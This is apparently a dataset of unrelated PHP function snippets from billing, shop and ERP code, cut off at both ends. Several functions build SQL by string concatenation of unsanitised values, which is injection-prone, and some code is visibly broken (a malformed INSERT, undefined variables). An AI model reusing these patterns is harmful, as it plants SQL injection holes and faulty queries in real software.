$data['StreetAddress2'];\n $data['City2'] = $data['City'];\n $data['State2'] = $data['State'];\n $data['PostalCode2'] = $data['PostalCode'];\n $data['Country2'] = $data['Country'];\n $data['_OrderName'] = $billing_person->FirstName . \" \" . $billing_person->LastName . \" \" . $billing_person->Email;\n $data['_PurchasedBy'] = $billing_person->FirstName . \" \" . $billing_person->LastName;\n $data['_OrderEmail'] = $billing_person->Email;\n\n $contact_id = $this->create_contact($data);\n //Opt Person In\n $this->optIn($data['Email'],'Friend purchased');\n\n //Create Zero Dollar Order\n $affiliate_id = $this->get_current_affiliate($contact_id);\n $invoice_id = $this->blankOrder($contact_id,'Extra: The Matrix Assessment Profile',$this->infuDate(date('d-m-Y')),$affiliate_id,$affiliate_id);\n $this->addOrderItem($invoice_id,$product_id,4,0.00,1,'Friend: ' . $data['_OrderName'] . ' ordered','');\n\n sleep(1); //IS throttling\n\n //Add Notes to the Job/Order Record\n $invoice = $this->dsLoad('Invoice',$invoice_id,array('JobId'));\n $r = $this->dsUpdate('Job',$invoice['JobId'],array('JobNotes' => 'Ordered By: ' . $data['_OrderName']));\n\n sleep(1); //IS throttling\n\n $r = $this->runAS($contact_id,$action_set_id);\n\n $this->achieveGoal('optimalwellness','mapfriendemail',$contact_id);\n\n return $data['FirstName'] . ' ' . $data['LastName'] . ' ID: ' . $contact_id;\n\n }", "abstract protected function getLineItemFields(Customweb_Payment_Authorization_IInvoiceItem $item, $counter);", "private function makeItemPurchase() : void\n {\n $this->item->available = $this->item->available - 1;\n $this->coinService->setCoinCount(\n $this->coinService->getCurrenCoinCount() - $this->item->cost\n );\n $this->item->save();\n }", "function AddUpdateOptionBOMItem($BID, $opId, $arryDetails,$index) {//$option_ID,//\r\n global $Config;\r\n extract($arryDetails);\r\n //print_r($arryDetails);//die;\r\n \r\n if ($opId == '') {\r\n $strUpSQLQuery = \"update inv_bill_of_material set \r\n\t\t\t\ttotal_cost='\" . $TotalValue . \"',\r\n\t\t\t\tUpdatedDate = '\" . $Config['TodayDate'] . \"'\r\n\t\t\t\twhere bomID='\" . $BID.\"'\";\r\n //echo $strUpSQLQuery ;die;\r\n\r\n $this->query($strUpSQLQuery, 0);\r\n }\r\n \r\n \r\n for ($j = 1; $j<=$arryDetails['newNumberLine'.$index.'']; $j++) {\r\n \r\n if (!empty($arryDetails[\"newsku$index-$j\"])) {\r\n \r\n $id = $arryDetails[\"newid$index-$j\"];\r\n //print_r($id);\r\n if ($id > 0) {\r\n $sql = \"update inv_item_bom set orderby = '\".$arryDetails[\"orderby$index-$j\"].\"', item_id='\" . $arryDetails[\"newitem_id$index-$j\"] . \"', sku='\" . addslashes($arryDetails[\"newsku$index-$j\"]) . \"',`Primary`='\" .$arryDetails[\"Primary$index-$j\"] . \"', description='\" . addslashes($arryDetails[\"newdescription$index-$j\"]) . \"', wastageQty='\" . addslashes($arryDetails[\"newWastageqty$index-$j\"]) . \"', bom_qty='\" . addslashes($arryDetails[\"newqty$index-$j\"]) . \"', unit_cost='\" . addslashes($arryDetails[\"newprice$index-$j\"]) . \"', total_bom_cost='\" . addslashes($arryDetails[\"newamount$index-$j\"]) . \"',`Condition`='\" . addslashes($arryDetails[\"newCondition$index-$j\"]) . \"',req_item='\" . addslashes($arryDetails[\"newreq_item$index-$j\"]) . \"' where id='\" . $id.\"'\"; \r\n $this->query($sql, 0);\r\n } \r\n else {\r\n $sql = \"insert into inv_item_bom (bomID,optionID, item_id, sku, description, wastageQty, bom_qty, unit_cost, total_bom_cost,`Condition`,req_item,orderby,`Primary`) values('\" . $BID . \"','\" . $opId . \"','\" . $arryDetails[\"newitem_id$index-$j\"] . \"', '\" . addslashes($arryDetails[\"newsku$index-$j\"]) . \"', '\" . addslashes($arryDetails[\"newdescription$index-$j\"]) . \"', '\" . addslashes($arryDetails[\"newWastageqty$index-$j\"]) . \"', '\" . addslashes($arryDetails[\"newqty$index-$j\"]) . \"', '\" . addslashes($arryDetails[\"newrice$index-$j\"]) . \"','\" . addslashes($arryDetails[\"newamount$index-$j\"]) . \"','\" . addslashes($arryDetails[\"newCondition$index-$j\"]) . \"','\" . addslashes($arryDetails[\"newreq_item$index-$j\"] ). \"', orderby = '\".$arryDetails[\"orderby$index-$j\"].\"','\" . addslashes($arryDetails[\"Primary$index-$j\"]) . \"')\";\r\n $this->query($sql, 0);\r\n \r\n }\r\n \r\n }\r\n \r\n \r\n }\r\n //die;\r\n return true;\r\n }", "function UPDSAR()\n{\n $aropen_rows = db::fetchRows($sql, 'DTSDATA.AROPEN'); /* #251 */\n if ($aropen\n ) {\n if ($billpay->BPPAY_ < $billpay->BPNET_\n && $billpay->BPRTN_ === 0\n && $billpay->BPOIN_ > 0\n ) {\n $aropen->AROPPD += $billpay->BPPAY_; /* #258 */\n $aropen->ARONPD += $billpay->BPPAY_; /* #259 */\n $aropen->AROPDT = $billpay->BPPDAT; /* #260 */\n $aropen->update(); /* #261 update record */\n $receipts->CRCID = $aropen->AROCID; /* #263 */\n $receipts->CRPER = $PERIOD; /* #264 */\n $receipts->CRCUST = $aropen->AROCUS; /* #265 */\n $receipts->CRSLMN = $aropen->AROSLM; /* #266 */\n $receipts->CRDTPD = $billpay->BPPDAT; /* #267 */\n $receipts->CRDTIN = $aropen->AROIDT; /* #268 */\n $receipts->CRINV_ = $aropen->AROINV; /* #269 */\n $receipts->CRTYPE = '1'; /* #270 */\n $receipts->CRCHCK = $billpay->BPCONF; /* #271 */\n $receipts->CRGLDP = ''; /* #272 */\n $receipts->CRGLAC = ''; /* #273 */\n $receipts->CRDESC = ''; /* #274 */\n $receipts->CRPPD = $billpay->BPPAY_; /* #275 */\n $receipts->CRDUS = 0; /* #276 */\n $receipts->CRSTCM = ''; /* #277 */\n $receipts->CRSTGL = ''; /* #278 */\n $receipts->CRSTS = ''; /* #279 */\n $receipts->CRDST = ''; /* #280 */\n $receipts->insert(); /* #281 insert record */\n $customer_rows = db::fetchRows($sql, 'DTSDATA.MFCUST'); /* #283 */\n $customer->CULRDT = $billpay->BPPDAT; /* #284 */\n $customer->CUREC->update(); /* #285 update record */\n } /* #286 end if */\n } /* #288 end if */\n}", "function wc_elshaddai_bfield( $fields ) {\n $fields['billing_number']['maxlength'] = 5;\n $fields['billing_address_2']['maxlength'] = 30;\n $fields['billing_address_2']['label_class'] = array('');\n $fields['billing_neighborhood']['required'] = true;\n return $fields;}", "public function updateQuality(): void\n {\n foreach ($this->items as $item) {\n switch ($item->name) {\n\n case $this->checkItemType($item->name, 'Aged Brie'):\n $itemType = new AgedBrie($item);\n $this->itemTypeUpdateQuality($itemType);\n break;\n\n case $this->checkItemType($item->name, 'Backstage passes'):\n $itemType = new BackstageTicket($item);\n $this->itemTypeUpdateQuality($itemType);\n break;\n\n case $this->checkItemType($item->name, 'Sulfuras'):\n $itemType = new Sulfuras($item);\n $this->itemTypeUpdateQuality($itemType);\n break;\n\n case $this->checkItemType($item->name, 'Conjured'):\n $itemType = new Conjured($item);\n $this->itemTypeUpdateQuality($itemType);\n break;\n\n default:\n $itemType = new Common($item);\n $this->itemTypeUpdateQuality($itemType);\n }\n }\n }", "protected function _import_fee_items() {\n $fees = $this->getValue('fees');\n if (!empty($fees)) {\n foreach ($fees as $feeIndex => $fee) {\n if (empty($fee['name'])) {\n continue;\n }\n\n $fee_item = new \\PMXI_Post_Record();\n $fee_item->getBy(array(\n 'import_id' => $this->getImport()->id,\n 'post_id' => $this->getOrderID(),\n 'unique_key' => 'fee-item-' . $feeIndex\n ));\n\n if ($fee_item->isEmpty()) {\n\n $item_id = FALSE;\n\n if (!$this->isNewOrder()) {\n $order_items = $this->getOrder()->get_items('fee');\n\n foreach ($order_items as $order_item_id => $order_item) {\n if ($order_item['name'] == $fee['name']) {\n $item_id = $order_item_id;\n break(2);\n }\n }\n }\n\n if (!$item_id) {\n $fee_line = array(\n 'name' => $fee['name'],\n 'tax_class' => '',\n 'amount' => $fee['amount'],\n 'tax' => '',\n 'tax_data' => array(),\n 'taxable' => 0\n );\n if (version_compare(WOOCOMMERCE_VERSION, '3.0') < 0) {\n $item_id = $this->getOrder()\n ->add_fee((object) $fee_line);\n }\n else {\n\n $item = new \\WC_Order_Item_Fee();\n $item->set_order_id($this->getOrderID());\n $item->set_name(wc_clean($fee_line['name']));\n $item->set_total(isset($fee_line['amount']) ? floatval($fee_line['amount']) : 0);\n\n // if taxable, tax class and total are required\n if (!empty($fee_line['taxable'])) {\n if (!isset($fee_line['tax_class'])) {\n $this->getLogger() and call_user_func($this->getLogger(), __('- <b>WARNING</b> Fee tax class is required when fee is taxable.', \\PMWI_Plugin::TEXT_DOMAIN));\n }\n else {\n $item->set_tax_status('taxable');\n $item->set_tax_class($fee_line['tax_class']);\n\n if (isset($fee_line['total_tax'])) {\n $item->set_total_tax(isset($fee_line['total_tax']) ? wc_format_refund_total($fee_line['total_tax']) : 0);\n }\n\n if (isset($fee_line['tax_data'])) {\n $item->set_total_tax(wc_format_refund_total(array_sum($fee_line['tax_data'])));\n $item->set_taxes(array_map('wc_format_refund_total', $fee_line['tax_data']));\n }\n }\n }\n $item_id = $item->save();\n }\n }\n\n if (!$item_id) {\n $this->getLogger() and call_user_func($this->getLogger(), __('- <b>WARNING</b> order line fee is not added.', \\PMWI_Plugin::TEXT_DOMAIN));\n }\n else {\n $fee_item->set(array(\n 'import_id' => $this->getImport()->id,\n 'post_id' => $this->getOrderID(),\n 'unique_key' => 'fee-item-' . $feeIndex,\n 'product_key' => 'fee-item-' . $item_id,\n 'iteration' => $this->getImport()->iteration\n ))->save();\n }\n }\n else {\n $item_id = str_replace('fee-item-', '', $fee_item->product_key);\n\n if (version_compare(WOOCOMMERCE_VERSION, '3.0') < 0) {\n $is_updated = $this->getOrder()\n ->update_fee($item_id, array(\n 'name' => $fee['name'],\n 'tax_class' => '',\n 'line_total' => $fee['amount'],\n 'line_tax' => 0\n ));\n }\n else {\n $item = new \\WC_Order_Item_Fee($item_id);\n\n if (isset($fee['title'])) {\n $item->set_name(wc_clean($fee['name']));\n }\n if (isset($fee['tax_class'])) {\n $item->set_tax_class($fee['tax_class']);\n }\n if (isset($fee['amount'])) {\n $item->set_total(floatval($fee['amount']));\n }\n if (isset($fee['total_tax'])) {\n $item->set_total_tax(floatval($fee['total_tax']));\n }\n $is_updated = $item->save();\n }\n\n if ($is_updated) {\n $fee_item->set(array(\n 'iteration' => $this->getImport()->iteration\n ))->save();\n }\n }\n }\n $this->_calculate_fee_taxes();\n }\n }", "function update_booking_meta( $meta ) {\n foreach ( $meta as $key => $value ) {\n if ( $key !== 'services' ) {\n update_post_meta( $this->id, '_' . $key, $value );\n } else {\n wp_set_post_terms( $this->id, $value, YITH_WCBK_Post_Types::$service_tax );\n }\n }\n }", "function getfaircoin_edd_updated_edited_purchase( $payment_id ) {\r\n // get the payment meta\r\n $payment_meta = edd_get_payment_meta( $payment_id );\r\n // update our fairaddress number\r\n $payment_meta['fairaddress'] = isset( $_POST['edd_fairaddress'] ) ? $_POST['edd_fairaddress'] : false;\r\n $payment_meta['fairsaving'] = isset( $_POST['edd_fairsaving'] ) ? $_POST['edd_fairsaving'] : false;\r\n // update the payment meta with the new array\r\n update_post_meta( $payment_id, '_edd_payment_meta', $payment_meta );\r\n}", "function AfterEdit(&$values,$where,&$oldvalues,&$keys,$inline,&$pageObject)\n{\n\n\t\tglobal $conn;\n$proid= $keys['proid'];\n$date=$values['bill_date'];\n$amount=$values['amount'];\n$item=$values['item'];\n$bill_no=$values['bill_no'];\n\n\n$sql_update=\"UPDATE student_billing SET \nitem='$item',amount='$amount',amount_balance='$amount',\ndate='$date',\nbill_no='$bill_no'\nWHERE proid='$proid'\";\ndb_exec($sql_update,$conn);\n\n;\t\t\n}", "function set_bundle_cnt($ordno,$mall,$type='p'){\n\t\t\n\t\tif($type=='p'){\n\t\t\t$default_val=0;\n\t\t\t$calu=\"+\";\n\t\t}else if($type=='m'){\n\t\t\t$default_val=2;\n\t\t\t$calu=\"-\";\n\t\t}\n\t\t\n\t\tif($mall){\n\t\t\t$add_where=\" and mall_no=:mall_no\";\n\t\t\t$param[':mall_no']=$mall;\n\t\t}\n\t\t$qry=\"update order_list set bundle=if(bundle='\".$default_val.\"',bundle\".$calu.\"2,bundle\".$calu.\"1) where bundle>0 and ordno=:ordno\".$add_where;\n\t\t$param[':ordno']=$ordno;\n\t\t$this->db->query($qry,$param);\n\t\t\n\t}", "public function addTax() {\n\t\t$adb = PearDatabase::getInstance();\n\n\t\t$tableName = $this->getTableNameFromType();\n\t\t$taxid = $adb->getUniqueID($tableName);\n\t\t$taxLabel = $this->getName();\n\t\t$percentage = $this->get('percentage');\n\n\t\t//if the tax is not available then add this tax.\n\t\t//Add this tax as a column in related table\n\t\tif($this->isShippingTax()) {\n\t\t\t$taxname = \"shtax\".$taxid;\n\t\t\t$query = \"ALTER TABLE vtiger_inventoryshippingrel ADD COLUMN $taxname decimal(7,3) DEFAULT NULL\";\n\t\t} else {\n\t\t\t$taxname = \"tax\".$taxid;\n\t\t\t$query = \"ALTER TABLE vtiger_inventoryproductrel ADD COLUMN $taxname decimal(7,3) DEFAULT NULL\";\n\t\t}\n\t\t$res = $adb->pquery($query, array());\n\n\t\tvimport('~~/include/utils/utils.php');\n\n\t\tif ($this->isProductTax()) {\n\t\t\t// TODO Review: if field addition is required in shipping-tax case too.\n\t\t\t// NOTE: shtax1, shtax2, shtax3 that is added as default should also be taken care.\n\n\t\t\t$inventoryModules = getInventoryModules();\n\t\t\tforeach ($inventoryModules as $moduleName) {\n\t\t\t\t$moduleInstance = Vtiger_Module::getInstance($moduleName);\n\t\t\t\t$blockInstance = Vtiger_Block::getInstance('LBL_ITEM_DETAILS',$moduleInstance);\n\t\t\t\t$field = new Vtiger_Field();\n\n\t\t\t\t$field->name = $taxname;\n\t\t\t\t$field->label = $taxLabel;\n\t\t\t\t$field->column = $taxname;\n\t\t\t\t$field->table = 'vtiger_inventoryproductrel';\n\t\t\t\t$field->uitype = '83';\n\t\t\t\t$field->typeofdata = 'V~O';\n\t\t\t\t$field->readonly = '0';\n\t\t\t\t$field->displaytype = '5';\n\t\t\t\t$field->masseditable = '0';\n\n\t\t\t\t$blockInstance->addField($field);\n\t\t\t}\n\t\t}\n\n\t\t//if the tax is added as a column then we should add this tax in the list of taxes\n\t\tif($res) {\n\t\t\t$deleted = 0;\n\t\t\tif($this->isDeleted()) {\n\t\t\t\t$deleted = 1;\n\t\t\t}\n\n\t\t\t$compoundOn = Zend_Json::encode($this->get('compoundon'));\n\t\t\t$regions = Zend_Json::encode($this->get('regions'));\n\n\t\t\t$query = 'INSERT INTO '.$tableName.' values(?,?,?,?,?,?,?,?,?)';\n\t\t\t$params = array($taxid, $taxname, $taxLabel, $percentage, $deleted, $this->get('method'), $this->get('type'), $compoundOn, $regions);\n\t\t\t$adb->pquery($query, $params);\n\t\t\treturn $taxid;\n\t\t}\n\t\tthrow new Error('Error occurred while adding tax');\n\t}", "public function freePosCreditMemoOrCancellation($type,$amountNet, $taxCode, $docRecordId, $customerObj) {\n trace('[METHOD] '.__METHOD__);\n \n $gsaShopTransactionAccessorObj = tx_ptgsashop_gsaTransactionAccessor::getInstance();\n if ($type == 'GU') {\n } else if ($type == 'ST'){ \n $posFieldsArr['GEWICHT'] = 0.0000;\n } \n\n\n // Freie Gutschrift\n $posFieldsArr = array(); // prepare continued position data: copy order confirmation position data to continued position data and change/overwrite relevant values\n $posFieldsArr['AUFINR'] = $docRecordId;\n $posFieldsArr['POSINR'] = 1;\n $posFieldsArr['NUMMER'] = 0; // will be overwritten/set by insertTransactionDocPosition()\n $posFieldsArr['ALTAUFINR'] = 0; // not set\n $posFieldsArr['POSNR'] = '#001';\n $posFieldsArr['POSART'] = 'DF';\n $posFieldsArr['ADRINR'] = $customerObj->get_gsauid(); // Adress number from Customer\n $posFieldsArr['MENGE'] = 1.0000;\n $posFieldsArr['MENGE2'] = 1.0000;\n $posFieldsArr['MENGE3'] = 1.0000;\n $posFieldsArr['MENGE4'] = 1.0000;\n\n $posFieldsArr['RABATT'] = 0.0000;\n $posFieldsArr['ZU1'] = 0.0000;\n $posFieldsArr['ZU2'] = 0.0000;\n $posFieldsArr['EKPREIS'] = 0.0000;\n $posFieldsArr['EP'] = $amountNet;\n $posFieldsArr['GP'] = $amountNet;\n $posFieldsArr['USTSATZ'] = $taxCode; \n \n $posFieldsArr['VEINHEIT'] = 1.000;\n $posFieldsArr['PEINHEIT'] = 1.000;\n $posFieldsArr['LAGART'] = 0;\n $posFieldsArr['LEINHEIT'] = 1.000;\n \n $posFieldsArr['ZWSUMME'] = 0.0000;\n $posFieldsArr['MITGESRAB'] = 0;\n $posFieldsArr['MITSKONTO'] = 0;\n $posFieldsArr['FIXKOST1'] = 0.0000;\n $posFieldsArr['FIXKOST2'] = 0.0000;\n $posFieldsArr['FIXPROZ1'] = 0.0000;\n $posFieldsArr['FIXPROZ2'] = 0.0000;\n $posFieldsArr['USTEG'] = 0.0000;\n $posFieldsArr['USTAUSLAND'] = '00'; //TODO überprüfen\n $posFieldsArr['ZUSTEXT1'] = '';\n $posFieldsArr['ZUSTEXT2'] = '';\n $posFieldsArr['SONPREIS'] = 0;\n $posFieldsArr['ALTTEIL'] = 0;\n $posFieldsArr['PROVMANU'] = 0;\n $posFieldsArr['RGARANTIE'] = 0;\n $posFieldsArr['RREKLAMATION'] = 0;\n $posFieldsArr['RBEMERKUNG'] = '';\n $posFieldsArr['RKOSTENPFLICHT'] = 0;\n $posFieldsArr['RTEXTKUNDE'] = '';\n $posFieldsArr['RTEXTBERICHT'] = '';\n \n $posFieldsArr['NRESERVIERT'] = 1.0000;\n $posFieldsArr['NGEBUCHT'] = 0.0000;\n $posFieldsArr['GESPEICHERT'] = 1;\n $posFieldsArr['INSZAEHLER'] = bcmul($posFieldsArr['POSINR'],10000.0000,$this->precision); \n\n trace($posFieldsArr,0,'$posFieldsArr');\n if (self::TEST_MODE == false) {\n // write record if not TEST_MODE\n $posRecordId = $gsaShopTransactionAccessorObj->insertTransactionDocPosition($posFieldsArr);\n }\n return $posRecordId;\n }", "function esiUpdateApiContractItems() {\n $table = db_asocquery(\"DESCRIBE `apicontractitems`;\");\n $found = FALSE;\n foreach ($table as $column) {\n if ($column['Field']=='rawQuantity' && $column['Type']=='int(11)') {\n $found = TRUE;\n }\n } \n if ($found === FALSE) {\n return db_uquery(\"ALTER TABLE `apicontractitems` ADD COLUMN `rawQuantity` int(11) NULL DEFAULT NULL AFTER `quantity`;\");\n }\n return TRUE;\n}", "function XSACreditNote($InvoiceNo, $orderno, $debtorno, $TypeInvoice,$tag,$serie,$folio, &$db)\n{\n\t$arrBDAplicar = array('erpplacacentro','erpplacacentro_CAPA','erpplacacentro_DES' );\n\t$charelectronic='01';\n\t$charelectronic=$charelectronic.'|'.$serie;\n\t$serieelect=$serie;\n\t//$serieelect=$TypeInvoice.'-'.$_SESSION['Tagref'];\n\t$folioelect=$folio;//$InvoiceNoTAG;\n\t//$folioelect=$InvoiceNo;\n\t$charelectronic=$charelectronic.'|'.$serieelect;\n\t$charelectronic=$charelectronic.'|'.$folioelect;\n\t// consulto datos de la factura\n\t$imprimepublico=0;\n\t$InvoiceHeaderSQL = \"SELECT DISTINCT\n\t\t\t\treplace(debtortrans.trandate,'-','/') as trandate,\n\t\t\t\t(debtortrans.ovamount*-1) as ovamount,\n\t\t\t\t(debtortrans.ovdiscount*-1) as ovdiscount,\n\t\t\t\t(debtortrans.ovgst*-1) as ovgst,\n\t\t\t\tdebtorsmaster.name,\n\t\t\t\tdebtorsmaster.address1,debtorsmaster.address2,\n\t\t\t\tdebtorsmaster.address3,debtorsmaster.address4,debtorsmaster.address5,\n\t\t\t\tdebtorsmaster.address6,debtorsmaster.invaddrbranch,\n\t\t\t\tcustbranch.taxid as rfc,\n\t\t\t\tcustbranch.brname,\n\t\t\t\tcustbranch.braddress1,custbranch.braddress2,custbranch.braddress3,\n\t\t\t\tcustbranch.braddress4,custbranch.braddress5,custbranch.braddress6,\n\t\t\t\tcustbranch.brpostaddr1,custbranch.brpostaddr2,custbranch.brpostaddr3,\n\t\t\t\tcustbranch.brpostaddr4,custbranch.brpostaddr5,custbranch.brpostaddr6,\n\t\t\t\tdebtortrans.debtorno,debtortrans.branchcode,debtortrans.folio,\n\t\t\t\treplace(origtrandate,'-','/') as origtrandate,\n\t\t\t\tdebtortrans.currcode,\n\t\t\t\tcustbranch.branchcode,\n\t\t\t\tdebtortrans.tpe,\n\t\t\t\tdebtortrans.shipvia,\n\t\t\t\t(debtortrans.ovfreight*-1) as ovfreight,\n\t\t\t\tdebtortrans.rate AS cambio,\n\t\t\t\tdebtorsmaster.currcode as moneda,\n\t\t\t\tcustbranch.defaultlocation,\n\t\t\t\tcustbranch.brnumext,\n\t\t\t\tcustbranch.brnumint,\n\t\t\t\t\";\n\t$InvoiceHeaderSQL = $InvoiceHeaderSQL . \"\n\t\t\t\tlocations.taxprovinceid,\n\t\t\t\tdebtortrans.tagref,\n\t\t\t\tcustbranch.phoneno as telofi,\n\t\t\t\tIFNULL(paymentmethods.codesat,'') as paymentname,\n\t\t\tdebtortrans.nocuenta\n\t\t\tFROM debtortrans \n\t\t\t\tLEFT JOIN paymentmethods ON debtortrans.paymentname = paymentmethods.paymentname\n\t\t\t\tINNER JOIN debtorsmaster ON debtortrans.debtorno = debtorsmaster.debtorno\n\t\t\t\tINNER JOIN custbranch ON debtortrans.debtorno = custbranch.branchcode\n\t\t\t\tINNER JOIN currencies ON debtorsmaster.currcode = currencies.currabrev\n\t\t\t\tINNER JOIN stockmoves ON stockmoves.transno=debtortrans.transno\n\t\t\t\tINNER JOIN locations ON stockmoves.loccode = locations.loccode\n\t\t\tWHERE debtortrans.transno = \" . $InvoiceNo . \"\n\t\t\t\tAND debtortrans.type=11\n\t\t\t\tAND stockmoves.type=11\";\n \n\t$Result=DB_query($InvoiceHeaderSQL,$db);\n\tif (DB_num_rows($Result)>0) {\n\t\t$myrow = DB_fetch_array($Result);\n\t\t// fecha emision\n\t\t$fechainvoice=$myrow['origtrandate'];\n\t\t$UserRegister=$myrow['UserRegister'];\n\t\t$charelectronic=$charelectronic.'|'.$fechainvoice;\n\t\t// subtotal\n\t\t$rfccliente=str_replace(\"-\",\"\",$myrow['rfc']);\n\t\t$rfccliente=str_replace(\" \",\"\",$rfccliente);\n\t\t$nombre=$myrow['name'];\n\t\t$subtotal= number_format($myrow['ovamount'], 2, '.', '');\n\t\tif (strlen($rfccliente)<12){\n\t\t\t$rfccliente=\"XAXX010101000\";\n\t\t\t$nombre=\"Publico en General\";\n\t\t\t$subtotal= number_format($myrow['ovamount']+$myrow['ovgst'], 2, '.', '');\n\t\t\t$imprimepublico=1;\n\t\t}elseif(strlen($rfccliente)>=14){\n\t\t\t$rfccliente=\"XAXX010101000\";\n\t\t\t$nombre=\"Publico en General\";\n\t\t\t$subtotal= number_format($myrow['ovamount']+$myrow['ovgst'], 2, '.', '');\n\t\t\t$imprimepublico=1;\n\t\t}\n\t\t$charelectronic=$charelectronic.'|'.$subtotal;\n\t\t// total factura\n\t\t$total=number_format($myrow['ovamount']+$myrow['ovgst'],2,'.','');\n\n\t\t$charelectronic=$charelectronic.'|'.$total;\n\t\t// total de iva\n\t\t$iva=number_format($myrow['ovgst'],'.','');\n\t\t// transladado\n\t\t$charelectronic=$charelectronic.'|'.$iva;\n\t\t// retenido\n\t\t$ivaret=0;\n\t\t$charelectronic=$charelectronic.'|'.$ivaret;\n\t\t//descuento trae desde el stockmoves\n\t\tif ($rfccliente!=\"XAXX010101000\"){\n\t\t\t$sqldiscount = 'SELECT sum(totaldescuento) as descuento\n\t\t\t\t FROM stockmoves\n\t\t\t\t WHERE stockmoves.type='.$TypeInvoice.'\n\t\t\t\t\tAND stockmoves.transno=' . $InvoiceNo . '\n\t\t\t\t\tAND stockmoves.tagref=' . $tag . '\n\t\t\t\t\tAND stockmoves.show_on_inv_crds=1';\n\t\t\t$Result= DB_query($sqldiscount,$db);\n\t\t\tif (DB_num_rows($Result)==0) {\n\t\t\t\t$descuento=0;\n\t\t\t}else{\n\t\t\t\t$myrowdis = DB_fetch_array($Result);\n\t\t\t\t$descuento=number_format($myrowdis['descuento'],2,'.','');\n\t\t\t}\n\t\t}else{\n\t\t\t$sqldiscount = 'SELECT sum(totaldescuento+(IF(stockmovestaxes.taxrate IS NULL, 0, stockmovestaxes.taxrate)*totaldescuento)) as descuento\n\t\t\t \t\t\tFROM stockmoves inner join stockmaster on stockmaster.stockid=stockmoves.stockid\n\t\t\t\t\t\t\t-- LEFT JOIN taxauthrates ON stockmaster.taxcatid = taxauthrates.taxcatid\n\t\t\t\t\t\t\tLEFT JOIN stockmovestaxes ON stockmovestaxes.stkmoveno=stockmoves.stkmoveno\n\t\t\n\t\t\t\t\t \t\tWHERE stockmoves.type='.$TypeInvoice.'\n\t\t\t\t\t\t\t\tAND stockmoves.transno=' . $InvoiceNo . '\n\t\t\t\t\t\t\t\tAND stockmoves.tagref=' . $tag . '\n\t\t\t\t\t\t\t\tAND stockmoves.show_on_inv_crds=1';\n\t\t\t$Result= DB_query($sqldiscount,$db);\n\t\t\tif (DB_num_rows($Result)==0) {\n\t\t\t\t$descuento=0;\n\t\t\t}else{\n\t\t\t\t$myrowdis = DB_fetch_array($Result);\n\t\t\t\t$descuento=number_format($myrowdis['descuento'],2,'.','');\n\t\t\t}\n\t\t}\n\t\t//descuento\n\t\t$descuento=number_format($descuento,2,'.','');\n\t\t$charelectronic=$charelectronic.'|'.$descuento;\n\t\t//motivo descuento\n\t\t$charelectronic=$charelectronic.'|';\n\t\t// tipo de moneda\n \n\t\t$moneda=$myrow['currcode'];\n \n\t\t// CANTIDAD CON LETRAS\n\t\t$amount = number_format($myrow['ovamount'],3);\n\t\t$ovgst = number_format($myrow['ovgst'],2);\n\t\t$rountotal = $amount + $ovgst ;\n\t\t$rountotal = number_format($rountotal,2);\n\t\t$totaletras=round($myrow['ovamount']+$myrow['ovgst'],2);\n\n\t\t$totalx=str_replace(',','',$total);\n\n\t\t$separa=explode(\".\",$totalx);\n\t\t$montoletra = $separa[0];\n\n\t\t$separa2=explode(\".\",$totalx,4);//\n\t\t$montoctvs2 = $separa2[1];\n\t\t$montoletra=Numbers_Words::toWords($montoletra,'es');\n\t\t//$montocentavos=Numbers_Words::toWords($montoctvs2,'es');\n\t\tif ($moneda=='MXN'){\n\t\t\t$montoletra=ucwords($montoletra) . \" Pesos \". $montoctvs2 .\" /100 M.N.\";\n\t\t}//\n\t\telse\n\t\t{\n\t\t\t$montoletra=ucwords($montoletra) . \" Dolares \". $montoctvs2 .\"/100 USD\";\n\t\t}\n\t\t$charelectronic=$charelectronic.'|'.$montoletra;\n\t\t// tipo moneda\n\t\t$charelectronic=$charelectronic.'|'.$moneda;\n\t\t// tipo de cambio\n\t\t$rate=number_format($myrow['cambio'],6,'.','');\n\t\t$charelectronic=$charelectronic.'|'.$rate;\n\t\t// numero de orden para referencia\n\t\t$ordenref=$myrow['orderno'];\n\t\t$charelectronic=$charelectronic.'|'.$ordenref;\n\t\t// observaciones 1: vendedores\n\t\t$vendedor=\"\";\n\t\t$SQL=\" SELECT *\n\t\t FROM salesman\n\t\t WHERE salesmancode='\".$myrow['salesman'].\"'\";\n\t\t$Result= DB_query($SQL,$db);\n\t\tif (DB_num_rows($Result)==1) {\n\t\t\t$myrowsales = DB_fetch_array($Result);\n\t\t\t$vendedor=$myrowsales['salesmanname'];\n\t\t}\n\t\t$observaciones1='Vendedor: '.$myrow['salesman'].' '.$vendedor;\n\t\t$charelectronic=$charelectronic.'|'.$observaciones1;\n\t\t// observaciones 2\n\t\t$SQL=\" SELECT l.telephone,l.comments,t.tagdescription\n\t\t FROM legalbusinessunit l, tags t\n\t\t WHERE l.legalid=t.legalid AND tagref='\".$tag.\"'\";\n\t\t$Result= DB_query($SQL,$db);\n\t\tif (DB_num_rows($Result)==1) {\n\t\t\t$myrowtags = DB_fetch_array($Result);\n\t\t\t$telephone=trim($myrowtags['telephone']);\n\t\t\t$comments=trim($myrowtags['comments']);\n\t\t}\n\t\t$observaciones2=\" Atencion a clientes \" .$telephone;\n\t\t$charelectronic=$charelectronic.'|'.$observaciones2;\n\t\t$metodopago = $myrow['paymentname'];\n\t\tif ($metodopago==\"\") {\n\t\t\t$metodopago = \"99\";\n\t\t}\n\t\t\n\t\t$nocuenta = $myrow['nocuenta'];\n\t\tif ($nocuenta==\"\") {\n\t\t\t$nocuenta = \"No Identificado\";\n\t\t}\n\t\t\n\t\t\n\t\t// observaciones 3\n\t\t$observaciones3='Id Nota de Credito:'.$InvoiceNo.' '.$comments .' usr:'.$UserRegister;\n\t\t$charelectronic=$charelectronic.'|'.$observaciones3;\n\t\t\n\t\t//$observaciones3='Id Nota de Credito:'.$InvoiceNo.' '.$comments .' usr:'.$UserRegister;\n\t\t$charelectronic=$charelectronic.'|'.$nocuenta;\n\t\t// datos de la forma de pago\n\t\t$charelectronic=$charelectronic.'|'.chr(13).chr(10).'02';\n\t\t\n\t\t$terminospago=$myrow['terms'];\n\t\t$SQL=\" SELECT *\n\t\t FROM debtortrans\n\t\t WHERE debtortrans.type=70\n\t\t\tAND debtortrans.order_=\" . $InvoiceNo ;\n\t\t$Result= DB_query($SQL,$db);\n\t\tif (DB_num_rows($Result)==0) {\n\t\t\t$Tipopago=\"Pago en una sola exhibicion\";\n\t\t}else{\n\t\t\t$Tipopago=\"Parcialidades\";\n\t\t}\n\t\t$Tipopago=$Tipopago.' '.$terminospago;\n\t\t//$Tipopago=$terminospago;\n\t\t$charelectronic=$charelectronic.'|'.$Tipopago;\n\t\t// condiciones de 